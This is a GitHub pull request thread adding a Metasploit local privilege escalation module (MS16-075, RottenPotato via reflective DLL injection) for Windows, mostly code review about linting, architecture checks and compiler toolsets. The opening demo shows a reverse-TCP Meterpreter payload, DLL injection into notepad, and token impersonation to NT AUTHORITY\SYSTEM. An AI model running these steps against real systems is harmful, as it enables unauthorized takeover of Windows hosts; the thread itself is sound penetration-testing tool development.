DCOM/RPC NTLM Reflection MS16-075 (Reflective DLL) #10418

ghost · 2018-08-03T06:20:17Z

About

The module exploits the SeImpersonatePrivilege given to service accounts on Windows which enables us to forge tokens and impersonate NT AUTHORITY\SYSTEM. As it utilizes reflective injection it solves the permission issues as well as doesn't leave behind traces. It can be used in an existing session where the account has SeImpersonatePrivilege. It spawns a new notepad process and injects the RottenPotato dll into it's memory which points to the shellcode and execute it. However, once the exploit is completed we need to load the incognito extension and then impersonate the token manually.

Verification

List the steps needed to make sure this thing works

Demo

  Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  48               yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     ens3             yes       The listen address (an interface may be specified)
   LPORT     3312             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows x64


msf exploit(windows/local/ms16_075_reflection) > run

[*] Started reverse TCP handler on -snip-:3312
[*] Launching notepad to host the exploit...
[+] Process 3564 launched.
[*] Reflectively injecting the exploit DLL into 3564...
[*] Injecting exploit into 3564...
[*] Exploit injected. Injecting payload into 3564...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to -snip-
[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400

meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >

gotta love session 48

I would hope to get this PR'd alot sooner but I;d been stuck and at this point I figured I may as well Pr and ask for expert advice to get this ball rolling! apologies in advance.

jmartin-tech · 2018-08-12T05:01:56Z

Please check with tools/dev/msftidy.rb and correct reported items.

ghost · 2018-08-12T11:13:46Z

Should be fixed now @jmartin-r7 =)

jmartin-tech · 2018-08-12T15:23:49Z

Travis still shows warnings not addressed.

modules/exploits/windows/local/ms16_075_reflection.rb:21 - [WARNING] Spaces at EOL
modules/exploits/windows/local/ms16_075_reflection.rb:23 - [WARNING] Spaces at EOL
modules/exploits/windows/local/ms16_075_reflection.rb:31 - [WARNING] Space-Tab mixed indent: "\t 'Mumbai' # Austin : port of RottenPotato for reflection & quick module\n"
modules/exploits/windows/local/ms16_075_reflection.rb:31 - [WARNING] Tabbed indent: "\t 'Mumbai' # Austin : port of RottenPotato for reflection & quick module\n"
modules/exploits/windows/local/ms16_075_reflection.rb:53 - [WARNING] Space-Tab mixed indent: "\t ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],\n"
modules/exploits/windows/local/ms16_075_reflection.rb:53 - [WARNING] Tabbed indent: "\t ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],\n"
modules/exploits/windows/local/ms16_075_reflection.rb:54 - [WARNING] Space-Tab mixed indent: "\t ['URL', 'https://github.com/breenmachine/RottenPotatoNG']\n"
modules/exploits/windows/local/ms16_075_reflection.rb:54 - [WARNING] Tabbed indent: "\t ['URL', 'https://github.com/breenmachine/RottenPotatoNG']\n"

jmartin-tech · 2018-08-12T15:51:41Z

Jenkins test this please.

ghost · 2018-08-12T16:40:30Z

Praying to the Travis god this one fixes it

jmartin-tech · 2018-08-13T04:21:19Z

Sorry still some tabs where spaces are required.

https://travis-ci.org/rapid7/metasploit-framework/jobs/415146287

modules/exploits/windows/local/ms16_075_reflection.rb:31 - [WARNING] Space-Tab mixed indent: "\t 'Mumbai' # Austin : port of RottenPotato for reflection & quick module\n"
modules/exploits/windows/local/ms16_075_reflection.rb:31 - [WARNING] Tabbed indent: "\t 'Mumbai' # Austin : port of RottenPotato for reflection & quick module\n"
modules/exploits/windows/local/ms16_075_reflection.rb:53 - [WARNING] Space-Tab mixed indent: "\t ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],\n"
modules/exploits/windows/local/ms16_075_reflection.rb:53 - [WARNING] Tabbed indent: "\t ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],\n"
modules/exploits/windows/local/ms16_075_reflection.rb:54 - [WARNING] Space-Tab mixed indent: "\t ['URL', 'https://github.com/breenmachine/RottenPotatoNG']\n"
modules/exploits/windows/local/ms16_075_reflection.rb:54 - [WARNING] Tabbed indent: "\t ['URL', 'https://github.com/breenmachine/RottenPotatoNG']\n"

Run tools/dev/msftidy.rb locally and you will see these warnings reported.

Fixes the damn tabs and spaces. im gonna be livid if this doesnt work

ghost · 2018-08-18T10:47:25Z

Lord I'm praying i fixed it...it appears differently in my IDE so alot of the times I dont see the damn tabs/spaces, apologies for delay @jmartin-r7

ghost · 2018-08-18T11:40:55Z

Aight @jmartin-r7 fixed all the problems with the module, is there any reason why the "Sanity Test Execution" would fail?

jmartin-tech · 2018-08-19T17:55:45Z

Jenkins test this please.

Looks like there may have been an issue with the run, this may clear it.

bwatters-r7 · 2018-08-20T18:09:37Z

Thanks for the PR, @realoriginal! I'm going to start working with this to get it landed over the next few days. First, I do not see documentation with this, and that would help a lot. If you have questions, feel free to ask and check out https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation. Specifically, since this has source code, please make sure to include compilation instructions.

ghost · 2018-08-20T21:59:54Z

Would providing an SLN file help? I mostly rely on those and not entirely fluent in Visual Studio to get a derative of cl.exe & linker commands itself from it as I rely mostly on the automated "build" @bwatters-r7

and will do , I'll bust out the docs tomorrow. I was originally uncertain as I wasnt sure if you guys were happy with the reliance on incognito to impersonate the token which is why i refrained from writing on yet, but it shall be done =).

Thank you!

bwatters-r7 · 2018-08-20T22:30:05Z

@realoriginal a .sln file would be great, though the current metasploit "standard" is Visual studio 2013. If you send a .sln file in that format, that's awesome, but I am willing to work with whatever you can provide.

ghost · 2018-08-21T15:10:16Z

Added a solution file, almost done with documentation.

I dont have Visual Studio 2013 and apparently on my machine it refused to installl so I used the one I compiled originally with, VS-2017. Hopefully this helps slightly. You'll have to build in Release Mode as thats the only version to which I added the preprocesser definitions / removed the reliance on precompiled headers

Also in contrast to the original MSFRottenPotato.cpp I did a slight change to close the listener 6666 socket after achieving the new token.

@bwatters-r7

ghost · 2018-08-21T15:27:28Z

Documentation is complete.

bwatters-r7 · 2018-08-21T15:57:04Z

FYI, I am looking into the sanity testing failures.... I think this was a false positive.

wvu · 2018-09-19T01:03:24Z

@realoriginal: I took care of it with a ninja push. I also merged master because this branch has diverged quite a bit. :)

wvu@kharak:~/metasploit-framework:pr/10418$ tools/dev/msftidy.rb modules/exploits/windows/local/ms16_075_reflection.rb
wvu@kharak:~/metasploit-framework:pr/10418$

wvu@kharak:~/metasploit-framework:pr/10418$ git push -f git@github.com:realoriginal/metasploit-framework HEAD:ms16_reflection
Counting objects: 36924, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (11406/11406), done.
Writing objects: 100% (36924/36924), 23.96 MiB | 2.40 MiB/s, done.
Total 36924 (delta 27984), reused 33614 (delta 24941)
remote: Resolving deltas: 100% (27984/27984), completed with 1210 local objects.
To github.com:realoriginal/metasploit-framework
   0887236f5e..1d091408f7  HEAD -> ms16_reflection
wvu@kharak:~/metasploit-framework:pr/10418$

wvu · 2018-09-19T01:06:21Z

@realoriginal: I may have been mistaken about the CVE, so please fix it if it's wrong!

bcoles

nitpicks

modules/exploits/windows/local/ms16_075_reflection.rb

ghost · 2018-09-20T23:35:53Z

Aight I'll give those a fix and thank you very much!

ghost · 2018-09-20T23:36:49Z

I'm pretty sure its the right CVE but I'll check again @wvu-r7

bwatters-r7

This was a quick look-over. I want to dig into the C code a bit more tomorrow.

documentation/modules/exploit/windows/local/ms16_reflection.md

bwatters-r7 · 2018-09-26T19:15:25Z

documentation/modules/exploit/windows/local/ms16_reflection.md

+   LPORT 3312 yes The listen port Exploit target:
+   Id Name
+   -- ----
+   1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run 


You may want to double-check line endings.......

bwatters-r7 · 2018-09-26T22:21:30Z

external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj

+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v141</PlatformToolset>


Target toolset 120 to support VS2013

bwatters-r7 · 2018-09-26T22:25:25Z

modules/exploits/windows/local/ms16_075_reflection.rb

+      fail_with(Failure::None, 'Session is already elevated')
+    end
+
+    if sysinfo["Architecture"] =~ /wow64/i


Why not move this up with the other arch checks?

Are we sure that Architecture contains wow64 any more? I thought we removed that. If the intent is to detect if the current process is wow64 then you need to check both client.arch (to get the arch of Meterpreter) and sysinfo['Architecture'] (to get the arch of the OS).

if client.arch != sysinfo['Architecture'] # gotta be a wow64 process end

OJ · 2018-09-26T23:20:04Z

modules/exploits/windows/local/ms16_075_reflection.rb

+      end
+    elsif sysinfo["Architecture"] == ARCH_X86
+      arch = ARCH_X86
+    end


Yeah this is overkill and wrong. sysinfo['Architecture'] contains the OS architecture, full stop (no wow64 or anything in it). It will either be ARCH_X86 or ARCH_X64. It has nothing to do with the arch of the current process. That can be found in client.arch.

OJ · 2018-09-26T23:20:54Z

modules/exploits/windows/local/ms16_075_reflection.rb

+  end
+
+  def check
+    privs = client.sys.config.getprivs


Bear in mind that getprivs actually enables all the current privileges while enumerating them.

Is there a better way to check for SeImpersonatePrivilege? I found no other check....

bwatters-r7 · 2018-10-02T14:58:57Z

Note to future self (or anyone who is as bad as I am with IIS) for setting up a test environment:
Win 2K8x64 server
Install IIS, including classic ASP roles
Change the write permissions on the webroot directory
Inside the default web site under anonymous authentication, click 'Edit' and use 'Application Pool identity'
Upload and visit asp payload.

bwatters-r7 · 2018-10-02T22:08:55Z

I made a couple changes per the suggestions. I need to go back and fix the reference in the C++ to the conditional variable, as it does not compile using the v120 toolset. I've dealt with that error before, but I do forget what I did to solve it. I'll hit it again tomorrow and try to land it.

bwatters-r7 · 2018-10-02T22:13:49Z

oooop- also need to fix the markdown document name....

modules/exploits/windows/local/ms16_075_reflection.rb

bwatters-r7 · 2018-10-03T21:54:12Z

@realoriginal, I'm having trouble getting the exploit to run when I recompile it. I switched it to 2013 and fixed the error, but It fails when I run it:

msf5 exploit(windows/local/ms16_075_reflection) > run

[*] Started HTTPS reverse handler on https://192.168.135.111:4567
[*] Found we are on an x64 target
[*] x64
[+] Current payload and target Arch match....
[*] Assigning payload rottenpotato.x64.dll
[*] Launching notepad to host the exploit...
[+] Process 1336 launched.
[*] Reflectively injecting the exploit DLL into 1336...
[*] Injecting exploit into 1336...
[*] Exploit injected. Injecting payload into 1336...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/ms16_075_reflection) >

I went ahead and installed 2015U3 and could compile it with no changes, and it still fails. Could you double check the solution file and source code? The original binary seems to work fine, but recompiling results in a binary that fails.

Thanks

ghost · 2018-10-04T01:27:00Z

Yes I can check the code again, shouldnt have any problems but yeah granted I only compiled in VS 2017.

ghost · 2018-10-04T01:35:05Z

Checked, no code issues that I saw when reviewing the source.

Solutions file seems to have everything needed in it to compile the RELEASE builds.

Hm. I wouldn't have a clue without debugging it as a normal DLL to understand what could be wrong with building with vs 2015 and 2013 toolkits

Optionally, this may be a problem : The Reflective header files / C files I used were a modified version of the https://github.com/rapid7/reflectivedllinjection/tree/vs2017 VS 2017 branch. Reasoning I used this version was since I was originally building with VS 2017, I couldn't compile the reflective functions without this version

Thats my best guess of what could be the problem, perhaps with the changes in the reflective functions that allow it to build / work with VS 2017 breaks with building / working properly on 2013/2015.

@bwatters-r7

bwatters-r7 · 2018-10-04T16:33:26Z

So.... uh, this is interesting.
When I compile this with 2013, I have to change build tools to 120 and add an include for condition_variable, then it compiles fine, but fails to work.
When I compile it with VS2015U3, I need to switch to build tools 140, but I do not need to add the include, and it compiles fine but does not work.....
When I compile it with VS2017, I need to change nothing, and it works.

Honestly, I am not OK with this.... I need to read up on some things and double check I'm not messing something else up.

Merge branch 'land-10418' into upstream-master

bwatters-r7 · 2018-10-04T22:10:14Z

Release Notes

The exploit/windows/local/ms16_075_reflection module has been added to the framework. It uses a Windows SMB Server vulnerability for local privilege escalation on unpatched Windows systems.

adding reflective Potato

4a88d64

fsacer mentioned this pull request Aug 4, 2018

Windows Local Priv NTLM Reflection #6986

Closed

5 tasks

ghost mentioned this pull request Aug 11, 2018

Meterpreter HTTP Payloads False Positives? (or bug) One is "encrypted" the other is not yet both are from same handler #10414

Closed

4 tasks

Austin added 3 commits August 12, 2018 07:12

Update ms16_075_reflection.rb

7573641

Update ms16_075_reflection.rb

9bc21ba

Update ms16_075_reflection.rb

b3f9139

offer travis a sacrifice

1e2d3ad

Oh holy travis, accept my tabs and spaces!

7a26960

Fixes the damn tabs and spaces. im gonna be livid if this doesnt work

Austin added 2 commits August 18, 2018 07:12

Travis the the PR: A love & hate story

06a5df3

300 : "THIS IS FAILED TRAVIS!"

5d6aaf6

bwatters-r7 self-assigned this Aug 20, 2018

bwatters-r7 added the needs-docs label Aug 20, 2018

add soluition file

48255d6

Add documentation for MS16 Reflection DCOM->RPC

46b45f3

add delay

c18b46e

bcoles added module docs labels Sep 19, 2018

bcoles reviewed Sep 20, 2018

View reviewed changes

bwatters-r7 reviewed Sep 26, 2018

View reviewed changes

OJ reviewed Sep 26, 2018

View reviewed changes

bwatters-r7 added 3 commits October 2, 2018 14:06

code cleanup

64d53cd

shut up, rubocop

428d368

Update VS toolset to match VS 2013

19a5c89

bwatters-r7 reviewed Oct 3, 2018

View reviewed changes

modules/exploits/windows/local/ms16_075_reflection.rb Outdated Show resolved Hide resolved

bwatters-r7 added 3 commits October 4, 2018 16:21

Recompile binaries and prep for VS2013 compiles

ce59964

Fixed check to you know, check.

9a45c66

Add note about compiling problems

523040e

bwatters-r7 merged commit 523040e into rapid7:master Oct 4, 2018

bwatters-r7 added a commit that referenced this pull request Oct 4, 2018

Land #10418, Add DCOM/RPC NTLM Reflection (MS16-075) Via Reflective DLL

28fb271

Merge branch 'land-10418' into upstream-master

msjenkins-r7 pushed a commit that referenced this pull request Oct 4, 2018

Land #10418, Add DCOM/RPC NTLM Reflection (MS16-075) Via Reflective DLL

0f4ef19

Merge branch 'land-10418' into upstream-master

gdavidson-r7 added the rn-exploit label Oct 23, 2018

bcoles mentioned this pull request Jan 12, 2019

Porting "Hot Potato" to metasploit #6513

Closed

DCOM/RPC NTLM Reflection MS16-075 (Reflective DLL) #10418

DCOM/RPC NTLM Reflection MS16-075 (Reflective DLL) #10418

Conversation

ghost commented Aug 3, 2018 • edited by bwatters-r7 Loading

About

Verification

Demo

jmartin-tech commented Aug 12, 2018

ghost commented Aug 12, 2018

jmartin-tech commented Aug 12, 2018

jmartin-tech commented Aug 12, 2018

ghost commented Aug 12, 2018

jmartin-tech commented Aug 13, 2018

ghost commented Aug 18, 2018

ghost commented Aug 18, 2018

jmartin-tech commented Aug 19, 2018

bwatters-r7 commented Aug 20, 2018

ghost commented Aug 20, 2018

bwatters-r7 commented Aug 20, 2018

ghost commented Aug 21, 2018 • edited by ghost Loading

ghost commented Aug 21, 2018 • edited by ghost Loading

bwatters-r7 commented Aug 21, 2018

wvu commented Sep 19, 2018 • edited Loading

wvu commented Sep 19, 2018

bcoles left a comment

Choose a reason for hiding this comment

ghost commented Sep 20, 2018

ghost commented Sep 20, 2018

bwatters-r7 left a comment

Choose a reason for hiding this comment

bwatters-r7 Sep 26, 2018

Choose a reason for hiding this comment

bwatters-r7 Sep 26, 2018

Choose a reason for hiding this comment

bwatters-r7 Sep 26, 2018

Choose a reason for hiding this comment

OJ Sep 26, 2018

Choose a reason for hiding this comment

OJ Sep 26, 2018

Choose a reason for hiding this comment

OJ Sep 26, 2018

Choose a reason for hiding this comment

bwatters-r7 Oct 2, 2018

Choose a reason for hiding this comment

bwatters-r7 commented Oct 2, 2018 • edited Loading

bwatters-r7 commented Oct 2, 2018

bwatters-r7 commented Oct 2, 2018

bwatters-r7 commented Oct 3, 2018

ghost commented Oct 4, 2018

ghost commented Oct 4, 2018 • edited by ghost Loading

bwatters-r7 commented Oct 4, 2018

bwatters-r7 commented Oct 4, 2018 • edited by gdavidson-r7 Loading

Release Notes

ghost commented Aug 3, 2018 •

edited by bwatters-r7

Loading

ghost commented Aug 21, 2018 •

edited by ghost

Loading

ghost commented Aug 21, 2018 •

edited by ghost

Loading

wvu commented Sep 19, 2018 •

edited

Loading

bwatters-r7 commented Oct 2, 2018 •

edited

Loading

ghost commented Oct 4, 2018 •

edited by ghost

Loading

bwatters-r7 commented Oct 4, 2018 •

edited by gdavidson-r7

Loading